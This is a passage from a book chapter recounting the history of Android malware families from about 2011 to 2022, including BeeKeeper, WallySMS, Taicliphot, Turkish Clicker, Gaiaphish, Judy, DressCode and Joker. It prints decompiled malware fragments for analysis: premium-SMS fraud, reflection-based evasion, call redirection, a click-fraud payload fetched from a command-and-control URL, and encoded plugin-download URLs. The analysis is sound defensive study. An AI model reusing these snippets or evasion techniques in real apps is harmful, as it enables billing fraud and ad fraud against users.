Listing 2-4: Dougaleaker spyware code in jp.co.dougastation (v2, 83fd)

Dougaleaker’s limited spyware functionality and narrow target suggest
that it was created for just one purpose: to map the social connections of
all people in Japan. Due to the app’s very high installation numbers, the
authors were likely successful in their goal.

BeeKeeper
BeeKeeper is another previously undescribed largescale SMS fraud family
that targeted Russian Android users. To gain installations, the malware apps
impersonated popular brands. The Android Security team called the family
BeeKeeper because it mostly targeted mobile phones on the Russian Beeline
mobile carrier network.

On a technical level, BeeKeeper was interesting for two reasons. First, it
used a commandandcontrol structure that was powerful for its time: it sup
ported more than a dozen commands, with names such as sendContactList,
sendSms, catchSms, and openUrl. The server controlled every action BeeKeeper
took on a device.

Second, BeeKeeper used reflection as an obfuscation technique to hide
its behavior from static analysis. Reflection is a Java feature that allows devel
opers to examine, modify, or invoke classes, objects, and methods in a pro
gram. The use of reflection introduces a level of indirectness that makes it
difficult for static app analysis to succeed. In particular, it allows the code to
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reference classes and methods through obfuscated, encoded, and encrypted
strings.

Listing 25 shows how BeeKeeper used reflection to dynamically re
solve the Android API method SmsManager.sendTextMessage and then send
texts using that method.

public static boolean sendSms(String number, String text) {

boolean v5_0 = true;

try {

Class v3_0 = Class.forName("android.telephony.SmsManager");

Object v4_0 = v3_0.getMethod("getDefault",

new Class[0]).invoke(0, new Object[0]);

Class[] v8_5 = new Class[5];

v8_5[0] = Class.forName("java.lang.String");

v8_5[1] = Class.forName("java.lang.String");

v8_5[2] = Class.forName("java.lang.String");

v8_5[3] = Class.forName("android.app.PendingIntent");

v8_5[4] = Class.forName("android.app.PendingIntent");

reflect.Method v2_0 = v3_0.getMethod("sendTextMessage", v8_5);

Object[] v7_5 = new Object[5];

v7_5[0] = number;

v7_5[1] = 0;

v7_5[2] = text;

v7_5[3] = 0;

v7_5[4] = 0;

v2_0.invoke(v4_0, v7_5);

} catch (Exception v0_0) {

v0_0.printStackTrace();

v5_0 = false;

}

return v5_0;

}

Listing 2-5: The app com.qiwi.application (v4, 37f3) impersonated the digital wallet
service Qiwi and used reflection to hide from static analysis.

First, the malware creates an object of the Android SmsManager class that
has the ability to send SMS messages. Then, it looks up the sendTextMessage

method with its five String and PendingIntent arguments. Finally, it calls the
sendTextMessage API to send the costly SMS to a concrete phone number.

To this day, reflection is one of the most common techniques used to
evade malware analysis and detection. Usually reflectionbased obfuscation
is not as easy to understand as it is in BeeKeeper’s case, because modern
Android malware typically encrypts and obfuscates the string arguments
passed to the reflection APIs. Some malware analysis tools can’t handle this
combination of encryption and reflection, so they aren’t able to effectively
analyze modern Android malware.
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In more extreme cases, the arguments passed to the reflection API are
not made available in the code at all. We have seen such arguments loaded
from an app’s asset files or even the internet.

Dogowar
On a lighter note, next we’ll highlight an Android malware specimen that
was not created for profit. Android.Dogowar, first described by USbased se
curity company Symantec in an August 2011 blog post titled “Animal Rights
Protesters Use Mobile Means for Their Message,” modified a legitimate yet
controversial game, Dog Wars, by adding two pieces of functionality. First, it
sent the text message “I take pleasure in hurting small animals, just thought
you should know that” to all contacts from the device’s contact list. Second,
it sent an SMS to the premium number 73822 to subscribe the device to a
news service about animal welfare topics provided by People for the Ethical
Treatment of Animals (PETA). Clearly, the malware developer took offense
at the simulated dogfighting game and everybody playing it.

Other Early Android Malware
Other examples of early malware found on Google Play include Plankton,
DroidKungFu, ggTracker, DroidDream Light, and Gingermaster. Because
security researchers have thoroughly described these, we don’t cover them
here. You can find more information about them with a quick web search.

The early years of sideloaded and preloaded malware are harder to re
construct. At the time, the Android Security team and external security
researchers focused on Google Play, so data from 2011 and 2012 that de
scribes other malware is spotty and difficult to obtain. The Security team
keeps a historical log of all Google Play apps, but no such log exists for side
loaded apps. Based on the limited data we have, we believe that DroidDream
Light, a spyware variant of DroidDream that didn’t include any privilege
escalation exploits, may have been the most sideloaded malware of 2011.
In 2012, RuFraud, another premium SMS fraud family targeting Russia,
was likely the most popular sideloaded malware.

We are not aware of any preloaded malware (that is, malware prein
stalled on Android devices) active between 2010 and 2012. However, we
also doubt that researchers looked for preloaded malware in those early
years, so it’s possible that it existed and nobody knew about it.

The Professionalization of Malware: 2013 and 2014
The year 2013 was historic for Android malware. Previous specimens
occasionally caused severe harm and sometimes spread widely, but they
rarely did both at the same time. No malware network excelled in distribu
tion, technology, and profitability all at once. This changed in 2013, when
several malware families appeared that were created by developers who
understood the components of a successful malware enterprise. These
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malware developers likely organized themselves as modest software shops,
unlike the presumed lonewolf or smallscale operations of previous years.

While SMS fraud and spyware continued to dominate in 2013 (com
bined, they made up more than 50 percent of all malware on Google Play
that year), hostile downloaders (20 percent) and rooting trojans (20 percent)
were important, too.

Ghost Push
Of all the new, sophisticated malware families available on Google Play in
2013, Ghost Push was the largest, responsible for nearly all rooting trojans
of that year. Its developers set up a highly scaled, profitable network consist
ing of thousands of apps that they refined over the following years (and are
potentially still updating today).

The Android Security team has known about this family since 2014,
but public documentation of it didn’t exist until September 2015, when
the Chinese security company Cheetah Mobile described it in a Chinese
language blog post. Despite its scale, antivirus vendors did not detect this
network for about two years.

What exactly Ghost Push does is hard to understand. While analyzing
any of its individual files is straightforward, Ghost Push is part of a massive
malware distribution industry operating out of China, and any analysis must
take this context into account. Since at least 2013, this malware industry has
generated more Android malware than any other source. As far as we can
tell, it consists of an undetermined number of malware creators and distrib
utors. The distributors infiltrate Google Play, thirdparty stores, and device
manufacturers to build reliable malware distribution channels. Their apps
use a pluginbased system to download malicious modules provided by the
malware creators.

This distribution method hides how many people and companies are
involved. We’ve seen samples that download more than 20 malicious plug
ins with different functionality. How many of these plugins are built by
the same people? Are the malware distributors and malware creators com
pletely separate entities, or is there overlap? These are open questions. One
thing we do know is that this industry is laserfocused on making money, be
it through ad spam, click fraud, pushing app installs for pay, or other means.

BadNews, RuFraud, and RuPlay
SMS fraud malware continued to affect Russian users in 2013. BadNews was
a hostile downloader family first discovered by Lookout Mobile Security in
April 2013 and described in a blog post titled “The Bearer of BadNews.”
RuPlay and RuFraud made up a network of malware families that have not
yet been publicly documented: RuPlay apps acted as hostile downloaders on
Google Play that downloaded RuFraud apps from elsewhere.

Like many other malware families, RuPlay apps impersonated popular
apps of the day. The RuPlay developers registered dozens of domains with
names like subwaysurfcheats.com and angrybirds.p.ht. They created websites
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that copied the look of Google Play and urged users to download apps un
der false pretenses (for example, to get updates to popular gaming apps like
Subway Surfer and Angry Birds). They also used keyword spam and other
nefarious techniques to game Google Play’s search result rankings, deceiving
users into downloading the impersonators instead of the legitimate apps.

NO T E Besides tricking users into downloading fake versions of real apps, the RuPlay apps
on Google Play did not contain harmful functionality—the SMS fraud element was
in the RuFraud apps they downloaded and installed—so we won’t show any source
code here. For a representative example, interested readers can analyze com.wHill
ClimbRacingMoneyMod (v1366388635, 9de8), which pretended to offer cheats
for the hit game Hill Climb Racing.

The ultimate download location of RuPlay SMS fraud apps was a website
called hotdroidapps.pm. That website is long gone, and most of its malicious
apps are lost to history. One surviving app is flv.app (v118, 6ed2), which
many antivirus products recognize as malware named FakeApp, FakeInst,
or Agent. Built for SMS fraud, it contained some other interesting ideas.

For example, the app’s commandandcontrol server could instruct the
app to redirect outgoing calls made by the user. Because we don’t have ac
cess to the server’s logs, we don’t know the purpose of this functionality, but
it’s likely that the app tried to intercept users’ calls to their mobile carriers
to avoid complaints about unrecognized charges. Instead of reaching the
carrier’s support hotline, the user would unwittingly call the fraudsters. The
code in Listing 26 shows how this works.

String v26_0 = intent.getExtras().getString(

"android.intent.extra.PHONE_NUMBER");

flv.app.Settings.log(new StringBuilder("phone: ").append(v26_0).toString());

if (!flv.app.Settings.isRedirect(v26_0)) {

return;

} else {

flv.app.Settings.log("isRedirect: true");

this.setResultData(0);

flv.app.Settings.makeCall(context, flv.app.Settings.callTo);

...

Listing 2-6: The app flv.app (v118, 6ed2) redirects phone calls made by the user.

The app’s commandandcontrol server also supported commands un
related to text and call activity. For example, the command antiUninstall

prompted a system dialog to grant the app device administrator permis
sions and included a scary message downloaded from the server. For years,
Android malware used administrator permissions to keep users from remov
ing malicious apps. Over time, the Android Security team worked with the
operating system team to remove device administrator properties abused
by malware, until the API itself became deprecated in Android 9.0 (Pie). In
Android 10, the API stopped doing anything at all.
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WallySMS
Another SMS fraud family, WallySMS targeted countries in Western Europe.
Listing 27 is a sample from com.albertech.harlemshake (v2, 31f8) that checks
whether the device is in France, Spain, or Germany by inspecting the mobile
country code (MCC). It then assigns the device a Base64encoded premium
SMS number for fraudulent activity.

private static boolean i() {

boolean v0_6;

switch (Integer.parseInt(((TelephonyManager)com.albertech.harlemshake.a.h.

getSystemService("phone")).getNetworkOperator().substring(0, 3))) {

case 208: {

com.albertech.harlemshake.a.k = new String(

Base64.decode("ODE3ODk=", 0), "UTF-8");

v0_6 = true;

break;

}

case 214: {

try {

com.albertech.harlemshake.a.k = new String(

Base64.decode("MjUyMjE=", 0), "UTF-8");

} catch (UnsupportedEncodingException v0) {

v0_6 = false;

}

}

case 262: {

com.albertech.harlemshake.a.k = new String(

Base64.decode("NDY2NDU=", 0), "UTF-8");

}

default: {

v0_6 = false;

}

}

return v0_6;

}

Listing 2-7: The app com.albertech.harlemshake (v2, 31f8) has premium SMS payloads for
France (MCC 208), Spain (MCC 214), and Germany (MCC 262) only.

Dynamic analysis of this sample has shown that, when executed on a
device configured for any other country, the app won’t display any malicious
activity.

Modern mobile phones come in many configurations, so malware analy
sis tools must understand the environmental requirements of the malware
they’re analyzing. In particular, they should combine insights from static
and dynamic analysis, because setting up the appropriate dynamic analysis
environment is tricky without information gained from static analysis. The
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most sophisticated malware analysis tools pass information between static
and dynamic analysis engines.

Mono WAP
Responding to the prevalence of SMS fraud in the early Android years, the
operating system team made some changes to better protect users. In 2012,
Android 4.2 (Jelly Bean) added a warning dialog that opens whenever an
app sends a text to a premium number. Around 2014, this Android version
reached critical distribution. This small change decreased the profitability of
SMS fraud significantly and blocked the most straightforward way to make
illicit money on Android. While some SMS fraud families continued to be
uploaded to Google Play, none became huge or were backed by sophisti
cated malware authors. Instead, the people running professional malware
businesses sought out other ways to make a quick buck off Android users.

The next best way to defraud users was to turn to other forms of phone
billing fraud. In many countries, phone users can pay for services through a
technology called Wireless Application Protocol (WAP) billing. WAP billing
servers can be accessed over HTTP, making it easy for malicious apps to
connect to them. The downside for fraudsters is that WAP billing is not as
widespread as SMSbased billing, limiting them to targets in a few countries,
like Russia, Thailand, Vietnam, Spain, and the United Kingdom.

Mono WAP, the largest WAP fraud family of 2014, was interesting for
reasons beyond its wide distribution: namely its choice of programming
language and the miniscule size of its malicious code, which made it hard
to spot.

Unlike other large Android malware families, which were almost exclu
sively written in Java, Mono WAP was written in Mono for Android, an open
source software framework that allowed developers to create Android apps
in .NET languages like C#. (In 2016, Microsoft acquired the company be
hind Mono for Android and renamed the framework to Xamarin.Android.)
This choice of language posed big problems to antivirus technologies that
could only analyze Java code.

The Mono WAP fraud family’s other interesting feature is that it con
tained barely any code and operated extremely subtly. It loaded WAP fraud
pages in a WebView, the standard Android component used to show web
pages without a web browser, and signed the user up for a recurring pre
mium service subscription. Before mobile carriers beefed up WAP signup
protection, a Mono WAP app only had to collect the device’s Android ID
and send it to a domain hosted by the fraudsters.

For example, the sample com.baibla.krasive (v1, 9604) made requests to
URLs like this one:

http://mobifs.ru/?app=krasivejshiemestaplanety\&aid=30016d7eaab21a25
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The app URL parameter presumably identified the app from which the
request originated, and the aid parameter identified the user to sign up for a
premium service.

This simple scheme only worked on devices connected to the carrier net
work providing the premium subscription service. No signup could happen
if the device was on WiFi or another carrier’s mobile network. Still, the ease
of signing up for premium services through simple HTTP connections made
WAP fraud hard to detect. How does one distinguish a legitimate HTTP re
quest from one that signs users up for services against their will? In their
early days, WAP fraud apps were often only discovered after enough users
had complained about unwanted charges.

Over the years, mobile carriers improved fraud protection through two
factor authentication and other mechanisms for proving that a user had au
thorized a payment. In some countries, governments changed legislation
around WAP billing to favor consumers. As mobile carriers improved the
security of their WAP signup pages, WAP fraud apps became more sophis
ticated: malicious apps now needed to intercept twofactor authentication
texts and use JavaScript or other techniques to enter the confirmation code
into a dialog.

WAP fraud continued to be profitable and widespread on Android until
at least 2023. As legitimate WAP billing is a great source of extra income for
mobile carriers, more and more countries and mobile carriers have started
to enable it for their customers. Every new WAP billing market immediately
attracts WAP fraud malware, as new WAP billing operators are often inexpe
rienced in fighting abuse and fraud.

Cryptocurrency Malware
The year 2014 also saw the rise of Android cryptocurrency malware. Back
then, users could still mine many cryptocurrencies with the limited hard
ware specs of mobile phones, especially if they controlled a large number of
devices and turned them into a mining botnet. At first, surreptitious min
ing efforts targeted cryptocurrencies like Bitcoin and Litecoin, but they soon
homed in on Monero. By design, mining Monero required less powerful
hardware than other cryptocurrencies of the time, making it a great match
for mobile phones.

The biggest thing Monero mining had going for it was a website called
Coinhive, which allowed anyone to mine Monero coins with just one line of
JavaScript code. Soon, malware authors everywhere (not just on Android)
had embedded these Coinhive mining oneliners in apps, websites, adver
tisements, and anything else that could execute JavaScript code. Antivirus
software and other security products started blocking all connections to the
site due to the scale of the abuse. In March 2018, computer security jour
nalist Brian Krebs posted a lengthy exposé dubbed “Who and What Is Coin
hive?” that chronicled the dubious history of the site and the people behind
it. Coinhive shut down in early 2019, and no other site has since followed in
its footsteps. This shutdown effectively ended surreptitious cryptocurrency
mining by Android malware.
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When cryptocurrency prices spiked to new record levels in 2020 and
2021, malware authors switched from mining to phishing. The phishing
apps broke into cryptocurrency accounts and wallets and transferred any
balances to the malware developer’s accounts. Protecting users across the
diverse cryptocurrency ecosystem, with thousands of currencies churned
through their hype cycles, proved a real challenge. Just keeping track of the
names, logos, and websites of all these cryptocurrencies, as well as their offi
cial and unofficial wallet apps, is a fulltime job for a whole team.

Taicliphot
Outside of Google Play, the malware situation remained opaque. We believe
that the most frequently sideloaded malware between 2012 and 2014 may
have been RuFraud, covered earlier in this chapter. Thousands of known
app samples operated similarly, but whether they comprised a single mal
ware family or a cluster of families with the same tactics remains unclear.
DroidDream Light, which remained active in 2013, disappeared in 2014.

Another major offmarket family of 2014 was the Taicliphot SMS fraud
applications, which targeted pornography viewers in Vietnam. The apps
barely contained any code, jumping straight to the SMS fraud function
ality in the onCreate method of the main activity. Listing 28, taken from
ncn.taicliphot (v1, 38a3) shows this functionality.

protected void onCreate(Bundle savedInstanceState) {

Type(UNKNOWN) v2_0 = 1024;

super.onCreate(savedInstanceState);

this.requestWindowFeature(1);

this.getWindow().setFlags(v2_0, v2_0);

this.setContentView(2130903041);

this.l = ((LinearLayout)this.findViewById(2131034114));

SmsManager v0_0 = SmsManager.getDefault();

try {

if (!this.readFile(this.file).equals("1")) {

this.writeFile(this.file, "1");

v0_0.sendTextMessage("6022", 0, "test naenewlife", 0, 0);

v0_0.sendTextMessage("6022", 0, "test naenewlife", 0, 0);

v0_0.sendTextMessage("6022", 0, "test naenewlife", 0, 0);

Log.d("aaaaaaaaaaaaaaaaaaaaa", "Da gui");

}

} catch (IOException v6_0) {

v6_0.printStackTrace();

try {

this.writeFile(this.file, "1");

v0_0.sendTextMessage("8782", 0, "HT androi", 0, 0);

v0_0.sendTextMessage("8793", 0, "jm2 androi", 0, 0);

Log.d("aaaaaaaaaaaaaaaa", "Da gui");

} catch (IOException v7_0) {

v7_0.printStackTrace();
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this.l.setOnTouchListener(new ncn.taicliphot.xemcliphot$1(this, v0_0));

return;

}

}

Listing 2-8: The app ncn.taicliphot (v1, 38a3) sends premium SMS messages without user
consent.

Because the Android versions available at the time did not yet have dy
namic permission dialogs, users consented to all permissions requested by
an app at installation time. When the user launched the Taicliphot app, they
had already granted the SMS permission. This allowed the app to send texts
to premium numbers using the code shown here.

The First Preinstalled Malware
In 2014, we also saw some early instances of preinstalled malware. The
Chinese security company Qihoo 360 discovered a preinstalled malware
family called OldBoot, which it documented in a January blog post titled
“Oldboot: The First Bootkit on Android.” Shortly thereafter, Kaspersky
found UUPay, a malware family collecting sensitive user information
without consent and potentially adding charges to the user’s phone bill, on
Chinese devices, documenting it in the March blog post “Caution: Malware
PreInstalled!”

Lookout Mobile Security found DeathRing, a family of trojans that were
capable of SMS and WAP fraud. You can read about it in “DeathRing: Pre
Loaded Malware Hits Smartphones for the Second Time in 2014,” from
December of that year.

The fourth discovery of the year was CoolReaper, reported by Palo Alto
Networks and described in “CoolReaper Revealed: A Backdoor in Coolpad
Android Devices” in December. CoolReaper was a powerful backdoor family
installed on devices by the Chinese manufacturer Coolpad.

The Rise of Large Malware Networks: 2015 and 2016
Android malware continued to evolve rapidly in 2015 and 2016, making
these years the most interesting for Android malware research. As changes
to Android’s defenses made SMS fraud less profitable, malware authors
branched out into other forms of abuse. This section covers examples rang
ing from trojans and phishing to DDoS attacks, WAP fraud, and more.

Turkish Clicker
In 2014, a new malware family appeared on Google Play and soon became
infamous: Turkish Clicker. Turkish Clicker apps loaded JavaScript code
from commandandcontrol servers and executed it in a WebView. The
Android Security team learned of this family when, that year, the malware
used infected devices to execute a DDoS attack against Google Play. We’re
not sure if this attack was intentional or a byproduct of an overly aggressive
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attempt to manipulate Google Play’s appranking mechanism. Either way,
the Android Security team quickly shut down Turkish Clicker, removing its
apps from devices to stop the attack.

In 2015, Turkish Clicker came back with a vengeance, growing into
the largest malware network ever seen on Google Play at that time. It was
the first malware network to scale the creation of Google Play developer
accounts, creating thousands over the years. Its malware authors experi
mented with different moneymaking schemes and ultimately settled on
click fraud and WAP fraud, focusing on Turkish users. The public learned
about this network in January 2016, when the American–Israeli security firm
Check Point blogged about it in a post titled “Turkish Clicker: Check Point
Finds New Malware on Google Play.”

Listing 29 shows a prettified payload that the Turkish Clicker app
com.gkrj.djjsas (v2, c901) downloaded from its commandandcontrol server.

85.248.227.164

http://olmazsanolmazgudieruvickleri.org/p30.php

javascript: function rastgele(e, n) {

return Math.floor(Math.random() * (n - e + 1) + e)

}

function fireEvent(e, n) {

var i = e;

if (document.createEvent) {

var t = document.createEvent("MouseEvents");

t.initEvent(n, !0, !1), i.dispatchEvent(t)

} else document.createEventObject && i.fireEvent("on" + n)

}

for (var links = document.getElementsByTagName("a"),

elmalar = null, i = 0; i0) {

fireEvent(document.links[i], "mouseover"),

fireEvent(document.links[i], "mousedown"),

fireEvent(document.links[i], "click");

break

};

Listing 2-9: A click fraud payload downloaded by com.gkrj.djjsas (v2, c901)

The IP address in the first line (seemingly ignored by the app) may have
belonged to a Tor exit node. The URL in the second line is a secondary
commandandcontrol server from which the malware loads a list of target
websites. Later in the listing, the JavaScript code contains click fraud func
tionality that clicks ads on the target websites. At the time of the analysis in
2016, these targets were all pornography websites.
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Gaiaphish
While the largest malware networks of 2015 focused on WAP fraud, mid
sized networks proved genuinely innovative. Several networks began taking
over social media accounts on apps like Instagram or the Russian social net
work VK by stealing credentials from users. Another network, Shuabang,
created countless new Gmail accounts to manipulate Google products. The
Spanish computer security company ElevenPaths first described Shuabang
in a November 2014 blog post titled “Shuabang Botnet: BlackHat App Store
Optimization (BlackASO) in Google Play.”

Yet another network, called Gaiaphish and described in the 2017 Android
Security Year in Review report, phished Google account credentials. In addi
tion, its apps loaded code dynamically to abuse various Google websites. For
example, skt.faker.world (v3, 936c) contained Base64encoded URLs from
which to download additional plugin files that targeted Google’s advertising
properties, the social network Google+, and Google Play itself (Listing 210).

static {

String[] v0_1 = new String[3];

v0_1[0] = "aHR0cDovL24yZm94LmNvbS9uZi9wbHVnaW5hcGs=";

v0_1[1] = "aHR0cDovL3Bva2VyYWlyLmNvbS9uZi9wbHVnaW5hcGs=";

v0_1[2] = "aHR0cDovL2l3YXNib3JudG9kaWUudXMvbmYvcGx1Z2luYXBr";

com.google.dex.b.k = v0_1;

return;

}

Listing 2-10: Base64-encoded strings in skt.faker.world (v3, 936c)

The encoded strings shown here decode to the following URLs:

http://n2fox.com/nf/pluginapk

http://pokerair.com/nf/pluginapk

http://iwasborntodie.us/nf/pluginapk

The downloaded plugin hid its malicious functionality in official
sounding package names, like com.google.android.* or com.google.dex.*. Con
figuration instructions contained dozens of parameters. Listing 211 shows a
few of these.

name = ct

versionGLib = 16

debug = false

app = test

plusDelay = 10000000

bannerShow = 10000000

bannerHide = 10000000

bannerDelay = 10000000

banner = disable
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interCheat = disable

bannerCheat = disable

Listing 2-11: Gaiaphish configuration options from skt.faker.world (v3, 936c)

One fun Gaiaphish feature is that its apps would post fake reviews, pre
sumably for pay, on Google Play to increase the popularity and reputation
of other apps. Gaiaphish samples contain many of these fake app reviews as
hardcoded strings. Listing 212 shows a small selection.

private String reviewContent(Context context, com.google.android.w2x.GReview

gReview) {

String[] v1_0 = vn.com.nfox.android.cst.Constant.getShared(context).

getString("reviewContent", "Love it very cute nice download it best game

ever #This is a pretty good game it is fun ;-) # I like this game so much

#This an amazing game# Thanks for the good game!!! # Lol this game is fun

and cute.# This is such a fun, cute and addictive game! I love it! #

like this game overall; its cute and fun to play.#Loved it I got it for

free# My cousin sis luvs it n its a great game 2 play...").split("#");

Listing 2-12: Fake Google Play user reviews taken from skt.faker.world (v3, 936c)

Android malware has a long history of manipulating Google Play app
rankings. Depending on its level of criminality, malware can post fake re
views from phished Google accounts, automatically generated fake Google
accounts, or farms of real devices operated by humans. The more convinc
ing these ratings and comments are, the more successful they are at luring
unsuspecting users into downloading an app.

Judy
Judy, the secondlargest malware family of 2016, made money through ad
vertising fraud. The security company Check Point first discovered this fam
ily and described it in a blog post titled “The Judy Malware: Possibly the
Largest Malware Campaign Found on Google Play” in May 2017. Judy apps
aimed to execute click fraud against Google advertising properties.

Judy app code can be a bit convoluted. It uses an internal messaging
system to locate Google ads and execute fraudulent clicks with JavaScript.
The prettified code in Listing 213 shows the fraudulent click activity in
air.com.eni.AnimalJudy035 (v1250000, a72a).

public final void run() {

float x = (

net.shinhwa21.jsylibrary.MService.f(a.a(this.a)) *

net.shinhwa21.jsylibrary.MService.g(a.a(this.a)));

float y = ((

net.shinhwa21.jsylibrary.MService.h(a.a(this.a)) *

net.shinhwa21.jsylibrary.MService.g(a.a(this.a))) +

net.shinhwa21.jsylibrary.MService.i(a.a(this.a)));

...
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MotionEvent motionEvent1 =

MotionEvent.obtain(downTime, eventTime, ACTION_DOWN, x, y, 0);

MotionEvent motionEvent2 =

MotionEvent.obtain(downTime, eventTime, ACTION_UP, x, y, 0);

a.a(this.a).a.dispatchTouchEvent(motionEvent1);

a.a(this.a).a.dispatchTouchEvent(motionEvent2);

...

}

Listing 2-13: The app air.com.eni.AnimalJudy035 (v1250000, a72a) clicks a random
pixel in a previously located ad.

The click happens in a thread launched after the LODING5 message arrives.
To make this click, the code calculates random x and ycoordinates inside
the ad. Then it clicks the ad through two calls of the dispatchTouchEvent API.

Ad fraud, be it click fraud or other techniques, dominated Android mal
ware after 2016. This lucrative category remains one of the few direct ways
for malware authors to make money now that SMS fraud and cryptocur
rency mining are less profitable. Many other malware categories are capa
ble of only indirect monetization. For example, to make money from stolen
data, a malware author has to find a buyer for it. Likewise, to make money
from ransomware, a malware author has to find a victim willing (and able) to
pay the ransom.

Advertising fraud has another advantage: it can stay completely hidden
from users. That’s important, as users can observe and understand more in
trusive forms of malware (say, phishing) and uninstall apps suspected of foul
play. Advertising fraud can stay undetected on devices for years, generating
income for malware authors over a long period.

DressCode
DressCode, a large malware network discovered by Check Point and de
scribed in an August 2016 blog post titled “DressCode Android Malware
Discovered on Google Play,” had another innovative way to make money. It
turned infected devices into nodes of a proxy botnet. The malware authors
could then route traffic (say, abusive traffic to fraudulently click advertise
ments) through these devices to hide its origin.

DressCode apps implement their malware functionality in just a few
classes. The malware authors reused sample code published in 2000 on
CodeProject (https://www.codeproject.com), then added additional classes for
their proxying needs. Listing 214 shows prettified code taken from com.dark
.kazy.goddess.lp (v1, d858). After connecting to a preconfigured command
andcontrol server, the code parses the textbased commands received from
the server and opens new proxy connections to other servers specified in the
CREATE command.

String line[] = lines[i];

if (!line.equals("HELLO")) {
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if (!line.startsWith("PING")) {

if (!line.startsWith("SLEEP")) {

if (!line.startsWith("WAIT")) {

if (line.startsWith("CREATE")) {

String[] splitLine = line.split(",");

if (splitLine.length == 3) {

this.createConnection(

splitLine[1], Integer.valueOf(splitLine[2]).intValue());

}

Listing 2-14: The app com.dark.kazy.goddess.lp (v1, d858) parses various proxy com-
mands from its command-and-control server.

Once in control of a proxy botnet, malware authors can make money in
several ways. For instance, in addition to the example mentioned above, they
can sell botnet access to other gangs who want to execute DDoS attacks, or
they can turn infected devices into exit nodes for VPN providers.

The VPN option became one of the most widespread forms of Android
malware abuse between 2016 and 2021. As user demand rose for personal
VPN services in those years, shady VPN companies built their business on
the backs of unwitting Android users. These VPN companies created proxy
SDKs and paid established Android developers to include them in their
popular apps. Users who installed apps with these SDKs had their devices
turned into end nodes for proxied network traffic. Of course, this happened
without disclosure to users.

Like advertising fraud, this is an easy way to monetize Android malware.
Proxy behavior is just as invisible to users as click fraud and can continue for
as long as apps with proxy SDKs are installed.

Joker
Joker is probably the largest malware family in Google Play history, exceed
ing the scale even of Turkish Clicker. Since 2016, its developers have been at
work crafting SMS and WAP fraud applications for Google Play.

The Android Security team first referenced Joker in its 2017 Android
Security Year in Review report, calling it BreadSMS. Then, in June 2019,
Danish CSIS Security Group rediscovered Joker and described it in a blog
post titled “Analysis of Joker—A Spy & Premium Subscription Bot on
GooglePlay.” That publication, and a followup blog post by the Android
Security team called “PHA Family Highlights: Bread (and Friends)” in Jan
uary 2020, provide technical details about this family.

Since 2019, Joker has been repeatedly found on Google Play, and many
security researchers have reported it. To this day, the original Joker develop
ers likely continue to develop WAP fraud applications targeting Southeast
Asia, but we also believe that copycat malware developers have sprung up
in the wake of Joker’s public success. Today, “Joker” is an umbrella term for
WAP fraud on Google Play, covering an unknown number of distinct mal
ware families.
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The most interesting aspects of Joker are its scale and its sophisticated
methods of evading detection. Between 2016 and 2022, malware develop
ers created thousands of Joker apps. As the Android Security team and anti
virus companies learned how to detect Joker, the developers adjusted their
defenses to avoid detection. Over the years, malware developers and defend
ers went through many iterations of this catandmouse game. As a result,
recent Joker apps are more convoluted than most malware families.

The Joker app com.guo.smscolor.amessage (v5, 5445) from November 2021
shows how far things have gone. The app contains an encrypted file, assets/
extersion/ex_compose, that is really native ARM code. Once decrypted by the
app and executed, this file reveals encrypted DEX code, which gets decrypted
and executed. The code downloads a file called adal.jar from AliBaba’s cloud
service and executes that, too. This adal.jar file contains the actual WAP
fraud code. Of course, a smattering of other defensive techniques are em
ployed throughout each of these steps, like emulator detection, code obfus
cation, and encryption.

Listing 215 shows code from com.guo.smscolor.amessage (v5, 5445),
which targets South Africa and Thailand for WAP fraud. We’ve intention
ally left it obfuscated to show how difficult it is to understand contemporary
Joker code.

if (v0_10 != null) {

v0_11 = v0_10.getSimOperator();

if (android.text.TextUtils.isEmpty(v0_11)) {

v0_11 = "";

}

}

vgy7.vgy7.vgy7.vgy7.bhu8.cft6 = v0_11;

if (vgy7.vgy7.vgy7.vgy7.bhu8.cft6.startsWith("655")) {

if (vgy7.vgy7.vgy7.vgy7.cft6.bhu8.qaz1 == null) {

vgy7.vgy7.vgy7.vgy7.cft6.bhu8.qaz1 =

new vgy7.vgy7.vgy7.vgy7.cft6.bhu8(v5_0, 5);

}

if (vgy7.vgy7.vgy7.vgy7.cft6.bhu8.wsx2 == null) {

vgy7.vgy7.vgy7.vgy7.cft6.bhu8.wsx2 =

new vgy7.vgy7.vgy7.vgy7.cft6.bhu8(v5_0, 9);

}

vgy7.vgy7.vgy7.vgy7.cft6.bhu8.qaz1.nji9();

vgy7.vgy7.vgy7.vgy7.cft6.bhu8.wsx2.nji9();

}

if (("52001".equals(vgy7.vgy7.vgy7.vgy7.bhu8.cft6)) ||

(("52003".equals(vgy7.vgy7.vgy7.vgy7.bhu8.cft6)) ||

("52023".equals(vgy7.vgy7.vgy7.vgy7.bhu8.cft6)))) {

v0_0 = 1;

}
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if (v0_0 != null) {

String v0_8 = v2_8.bhu8;

if ((v0_8 != null) && (v0_8.toLowerCase().startsWith(

"http://ss1.mobilelife.co.th/wis/wap"))) {

String v0_12 = new String(v2_8.mko0);

this.bhu8.vgy7(v2_8.bhu8);

this.bhu8.vgy7().cft6 = v0_12;

vgy7.vgy7.vgy7.vgy7.mko0.vgy7 v2_12 = this.bhu8;

String v3_42 = vgy7.vgy7.vgy7.vgy7.bhu8.vgy7(

v0_12, "id=\"msisdn-4g-box\" value=\"", "\"");

Listing 2-15: Sample code from the app com.guo.smscolor.amessage (v5, 5445)

This example illustrates how adal.jar targets different countries and
carriers. The Android API getSimOperator returns a five or sixdigit string
containing the phone’s mobile country code and its mobile network code
(MNC). Then the code checks whether this value starts with 655, the MCC
for South Africa. In another place, it compares the value to 52001, 52003,
and 52023. The prefix 520 identifies Thailand, and the suffixes 01, 03, and
23 identify three of Thailand’s largest mobile networks: AIS, AIS3G, and
MTS. Joker targets these networks for WAP fraud.

South Africa and Thailand are among the most common targets of WAP
fraud. Other popular targets include countries in Southeast Asia (Vietnam
and Indonesia, in particular) and the Middle East (including Egypt, the
United Arab Emirates, Saudi Arabia, and others).

RAMNIT: WHEN WINDOWS MALWARE INFECTS
ANDROID DEVELOPERS

As a curious side note, 2015 and 2016 were big years for the Windows
botnet Win32!Ramnit. This botnet infected the Windows computers of so many
Android developers that it became the seventh-largest Google Play malware
family of 2016. On infected computers, Ramnit injected itself into ZIP files to
propagate. Because Android apps are just ZIP files with the APK file extension,
Ramnit also infected those. It wasn’t cross-system malware, so the fact that
Android users installed apps containing Ramnit posed no danger. Neverthe-
less, the Android Security team removed apps with Ramnit executables from
Google Play and asked infected developers to clean up their development
systems.

Triada
When we discussed Ghost Push earlier in this chapter, we described a boom
ing Chinese malware industry of connected creators and distributors. Other
early malware specimens from this network include Triada and Chamois
